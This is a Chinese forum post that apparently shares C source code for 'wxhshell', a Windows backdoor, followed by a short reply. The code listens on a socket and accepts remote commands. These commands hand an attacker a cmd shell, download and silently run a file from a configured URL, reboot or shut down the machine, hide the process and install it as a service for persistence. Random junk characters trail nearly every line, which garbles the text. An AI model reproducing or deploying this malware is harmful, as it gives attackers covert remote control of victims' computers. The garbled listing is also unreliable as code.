  if(strstr(cmd,"http://")) { s 33< }O0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M7z>ugk"  
  if(DownloadFile(cmd,wsh)) CY2DxP%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .Rl58]x~  
  else EGMj5@>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "j|}-a  
  } 5<Mht6"H  
  else { _\yrR.HIa  
h $)t hW  
    switch(cmd[0]) { 2}`Q9?  
  DF D5">g@  
  // 帮助 fq-$u;~h  
  case '?': { 63:0Vt>hZ^  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !g:UkU\J  
    break; mw}obblR  
  } JHpoW}7QB  
  // 安装 )US|&> o8  
  case 'i': { 2{naSiaq  
    if(Install()) 0_JbE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7s:`]V%  
    else }gi>Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AU1P?lk  
    break; #6{"c r6l  
    } il^SGH  
  // 卸载 E.W7`zl  
  case 'r': { tV2SX7N  
    if(Uninstall()) bh=d'9B@&J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .UNh\R?r  
    else t6 :;0[j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {m5tgVi&  
    break; ^9T6Ix{=  
    } EFeGxM  
  // 显示 wxhshell 所在路径 '>FJk`iI  
  case 'p': { !fdni}f)  
    char svExeFile[MAX_PATH]; {#M=gDhbX  
    strcpy(svExeFile,"\n\r"); u:H@]z(x  
      strcat(svExeFile,ExeFile); ]RHR>=;  
        send(wsh,svExeFile,strlen(svExeFile),0); PHRc*G{  
    break; ?#]K54?  
    } Yjz'lWg  
  // 重启 wd*i&ooQ*L  
  case 'b': { rC]jz$sle  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aM'0O![d  
    if(Boot(REBOOT)) ,-u | l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qg#WDx /  
    else { Z5~dU{XsT  
    closesocket(wsh); r$ue1bH}|  
    ExitThread(0); SxXh N  
    } D[{p~x^  
    break; aq3evm  
    } JA7HO |  
  // 关机 6 .DJR Y  
  case 'd': { 2^Gl;3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +T[3wL~  
    if(Boot(SHUTDOWN)) @t`| w.]ml  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nut;ohIh  
    else { {(G@YG?  
    closesocket(wsh); %o< &O(Y  
    ExitThread(0); #FF5xe  
    } 9Vk61x6  
    break; R7T"fN  
    } %kD WUJZ  
  // 获取shell AF D/ J  
  case 's': { 77/y{#Sk  
    CmdShell(wsh); +Cx~4zEq  
    closesocket(wsh); k1 >%wR  
    ExitThread(0); {npKdX  
    break; aA%$<ItH  
  } >rlQY>5pH  
  // 退出 "%ag^v9  
  case 'x': { ;}K1c+m!5V  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aq"E@fb  
    CloseIt(wsh); _%l+v  
    break; ]>E9v&X0  
    } eG # (9  
  // 离开 M "p6xp/  
  case 'q': { 3hR7 . /  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '.~vN L+ O  
    closesocket(wsh); YU76(S9 0#  
    WSACleanup(); BieII$\P%P  
    exit(1); {d(PH7R  
    break; +`f gn9p  
        } .}ZX~k&P  
  } *Q=-7a m  
  } F']Vg31c  
Hk2@X(  
  // 提示信息 (o^V[zV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4M(w<f\5F  
} ]Vjn7P`~ N  
  } nL^6{I~  
|NtT-T)7  
  return; {114 [  
} DS>s_3V  
M; zRf3S  
// shell模块句柄 SrK;b .  
int CmdShell(SOCKET sock) doc5;?6   
{ fFXs:(  
STARTUPINFO si; ~2@U85"o  
ZeroMemory(&si,sizeof(si)); \, n'D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oiO3]P]P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &\sg~  
PROCESS_INFORMATION ProcessInfo; !QVd'e  
char cmdline[]="cmd"; R ;5w*e}?5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i BJ*6orz  
  return 0; *sJx0<!M}  
} i[3$Wi$  
#2yOqUO\  
// 自身启动模式 nIph[Vs-Z  
int StartFromService(void) r_)-NOp  
{ z('93vsO  
typedef struct nS?HH6H  
{ XP2=x_"y  
  DWORD ExitStatus; 2!68W X  
  DWORD PebBaseAddress; +6<MK;  
  DWORD AffinityMask; LDV{#5J  
  DWORD BasePriority; \07Vh6cj  
  ULONG UniqueProcessId; 1b3Lan_2  
  ULONG InheritedFromUniqueProcessId; +Q-~~v7,  
}   PROCESS_BASIC_INFORMATION; (~Zg\(5#  
EUuMSDp  
PROCNTQSIP NtQueryInformationProcess; '4Z%{.;  
f+xGf6V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; e7#=F6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; qx0o,oZN!  
V<4)'UI?k9  
  HANDLE             hProcess; " "a+Nc  
  PROCESS_BASIC_INFORMATION pbi; D{BH~IM  
4Hzbb#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); A9l^S|r  
  if(NULL == hInst ) return 0; }f&7<E  
;t?pyFT2Z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ur&: Rr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8QC:ro  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); k})9(Sy~  
6\0GVM\  
  if (!NtQueryInformationProcess) return 0; {##A|{$3%  
|xKB><  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;;nmF#  
  if(!hProcess) return 0; Tg:NeAN7(  
3;:xEPb._6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4zf#zJw  
gP1$#KgU  
  CloseHandle(hProcess); mz\ m^g3  
>MQW{^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -IX;r1UD  
if(hProcess==NULL) return 0; MeplM$9  
{{EQM +  
HMODULE hMod; q6_1`Ew  
char procName[255]; #UWQ (+F  
unsigned long cbNeeded; Q^39Wk@  
IwH ,g^0\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jb tbW &EH  
f4tia .  
  CloseHandle(hProcess); n<hwstk  
Ue,"CQ6H  
if(strstr(procName,"services")) return 1; // 以服务启动 ! h4So4p  
^Ws~h\{%  
  return 0; // 注册表启动 ~Q%QA._R?  
} R*&3i$S  
N@d4)  
// 主模块 fZ %ZV  
int StartWxhshell(LPSTR lpCmdLine) HPCA,*YR`  
{ _v $mGZpGY  
  SOCKET wsl; W\KZFrV@  
BOOL val=TRUE; @ics  
  int port=0; I" j7  
  struct sockaddr_in door; IS=)J( 0  
q?0goL  
  if(wscfg.ws_autoins) Install(); 5N|77AAxK  
'Gt`3qG  
port=atoi(lpCmdLine); A23Z)`  
ljf9L:L  
if(port<=0) port=wscfg.ws_port; 9a4RW}S<  
gTQ6B,`/8  
  WSADATA data;  /KV@Ce\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Sqge5v  
1b D c ct  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x NC>m&T  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;;`KkNys m  
  door.sin_family = AF_INET; <_Lo3WGwc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )eG&"3kFe!  
  door.sin_port = htons(port); oDP|>yXC)  
}`g*pp*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Anm5Cvt;i  
closesocket(wsl); Ux<h` s  
return 1; Fwqv 1+  
} _j2`#|oG  
@v'<~9vG  
  if(listen(wsl,2) == INVALID_SOCKET) { %FRkvqV*  
closesocket(wsl); ;kFp)*i  
return 1; ;s!H  
} G^OSXf5  
  Wxhshell(wsl); u4nXK <KL|  
  WSACleanup(); So 5{E 4[  
U!`'Qw;  
return 0; .5z|g@ 6  
!3&}r  
} lGz0K5P{  
H9Z3.F(2  
// 以NT服务方式启动 ~iSW^mi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) V cL  
{ GJ$,@  
DWORD   status = 0; >*(>%E~H  
  DWORD   specificError = 0xfffffff; QRjt.Ry|  
LH8?0 N[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; GhT7:_r~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JQCwI`%i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !(~>-;A8  
  serviceStatus.dwWin32ExitCode     = 0; 3$b(iI< "  
  serviceStatus.dwServiceSpecificExitCode = 0; :tgTYIF  
  serviceStatus.dwCheckPoint       = 0; D0P% .r"v  
  serviceStatus.dwWaitHint       = 0; 5C&f-* Bh  
|q>Mw-=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r6)1Y`K=9  
  if (hServiceStatusHandle==0) return; n" ~*9'  
pWp2{G^XB  
status = GetLastError(); r/v&tU  
  if (status!=NO_ERROR) +OmSR*fA0  
{ ig,|3(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w\ :b(I  
    serviceStatus.dwCheckPoint       = 0; aVb]H0  
    serviceStatus.dwWaitHint       = 0; Rt|Hma  
    serviceStatus.dwWin32ExitCode     = status; "10VN*)J}  
    serviceStatus.dwServiceSpecificExitCode = specificError; )X/Faje  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w;(gi  
    return; @rMW_7[y  
  } D^{:UbN  
&1{k^>oz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !O-+ h0Z  
  serviceStatus.dwCheckPoint       = 0; r;C\eN  
  serviceStatus.dwWaitHint       = 0; Zy%Z]dF  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C] w< &o  
} h~@+M5r,  
8hfh,v5(  
// 处理NT服务事件,比如:启动、停止 k ))*z FV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sdWl5 "  
{ .7FI%  
switch(fdwControl) G= cxc_9  
{ L'Zud,JKg  
case SERVICE_CONTROL_STOP: OpLSjr  
  serviceStatus.dwWin32ExitCode = 0; 81cmG `G7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -#6*T,f0P(  
  serviceStatus.dwCheckPoint   = 0; -/%jeDKp  
  serviceStatus.dwWaitHint     = 0; "~<~b2Y"5  
  { jVIpbG4 4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); gpWS_Dw9  
  } [R>   
  return; ][nUPl  
case SERVICE_CONTROL_PAUSE: P{eRDQ=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #pSOZX  
  break; oDUMoX%4s  
case SERVICE_CONTROL_CONTINUE: \T9UbkR  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c!Vc_@V,  
  break; J36@Pf]h  
case SERVICE_CONTROL_INTERROGATE: ]gksyxn3  
  break; lg >AWTW[  
}; 4d G-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); v s|6w w  
} &o@5%Rz2/  
i(;-n_:, `  
// 标准应用程序主函数 G3+a+=e  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) D~OhwsL4  
{ %k #Nu  
q&Wwt qc9  
// 获取操作系统版本 SsX05>  
OsIsNt=GetOsVer(); TSSt@xQ+  
GetModuleFileName(NULL,ExeFile,MAX_PATH); R"gm]SQ/  
[E (M(w':  
  // 从命令行安装 X-#mv|3  
  if(strpbrk(lpCmdLine,"iI")) Install(); JK"uj%  
 /kU@S  
  // 下载执行文件 Wmxw!   
if(wscfg.ws_downexe) { Z4ov  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ws>Iyw.u  
  WinExec(wscfg.ws_filenam,SW_HIDE); [KI`e  
} !a(qqZ|s  
h_G|.7!  
if(!OsIsNt) { 8/?uU]#Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]#q7}Sd  
HideProc(); rqe_zyc&  
StartWxhshell(lpCmdLine); G>S1Ld'MV  
} _8pkejg  
else s*/ G- lY  
  if(StartFromService()) <VR&= YJ  
  // 以服务方式启动 G!LNP&~  
  StartServiceCtrlDispatcher(DispatchTable); j_uY8c>3\q  
else *2 $m>N  
  // 普通方式启动 #'Y6UGJ\n  
  StartWxhshell(lpCmdLine); LY!3u0PnlT  
; 9&.QR(  
return 0; , gr&s+  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五